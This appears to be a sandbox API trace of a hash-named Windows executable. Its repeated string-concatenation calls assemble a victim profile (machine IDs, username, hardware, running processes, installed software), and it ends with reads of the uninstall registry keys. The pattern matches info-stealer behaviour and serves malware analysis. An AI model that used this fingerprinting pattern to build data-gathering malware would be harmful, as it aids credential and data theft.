[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]"
[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\n"
[0054.956] RegCloseKey (hKey=0x514) returned 0x0
[0054.956] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1c, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.956] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}") returned 90
[0054.956] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.956] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpcbData=0x1816c0*=0x43) returned 0x0
